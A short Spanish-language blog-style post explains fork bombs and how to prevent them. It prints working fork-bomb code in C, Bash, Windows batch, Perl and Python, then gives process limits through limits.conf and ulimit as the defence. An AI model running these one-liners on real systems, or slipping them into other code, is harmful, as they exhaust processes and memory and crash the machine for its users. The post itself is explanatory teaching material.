Bombas Fork

Hoy voy a hablar sobre las bombas fork. ¿Que es una “bomba fork”?

En linux tenemos una llamada del sistema que se llama fork. Esta función se dedica a realizar un copia exacta de el proceso que la llama en el mismo estado de ejecución en el que está ese proceso en ese preciso momento. Por tanto una bomba fork consiste en una llamada infinita a dicha llamada de sistema. Esto causa que a la hora de realizar un programa en bucle que se dedique a hacer copias de si mismo en memoria llegará a colapsar la lista de procesos que debe gestionar el sistema operativo, así como llenar la memoria RAM del sistema.

¿Como llevarlo a acabo?
Realizar este tipo de “Wabbit” es muy sencillo, como ya habeis podido intuir solo necesitais hacer esta llamada dentro de un bucle.

En C, esto estaría escrito así:

int main(){
while(1){
fork();
}
return 0;
}

También se puede hacer en otros lenguajes, como en los siguientes ejemplos.

BASH:

forkbomb(){ forkbomb|forkbomb & };forkbomb

Para windows también es posible realizar esto, de la siguiente forma usando batch:

:s
start %0
%0|%0
goto :s

En perl es como mas me gusta ^^:

fork while fork

Y como ultimo ejemplo, en python tampoco queda mal ^^:

import os

while True:
os.fork()

¿Como prevenirlo?
Pero, ¿es esto evitable?. La respuesta es si.
Si queremos evitar que nos gasten esta broma estaría bien limitar el número de procesos que un usuario puede ejecutar en el sistema. Así siempre llegaría a un limite y el equipo seguiría operativo.

En linux y bsd tenemos 2 formas de hacer esto.

Añade la siguiente linea a “/etc/security/limits.conf”:

hard nproc 200

Eso si tienes pam_limits activado, del lo contrario seria recomendable hacerlo de esta otra forma. En “/etc/profile.conf” añadir lo siguiente:

ulimit -u 200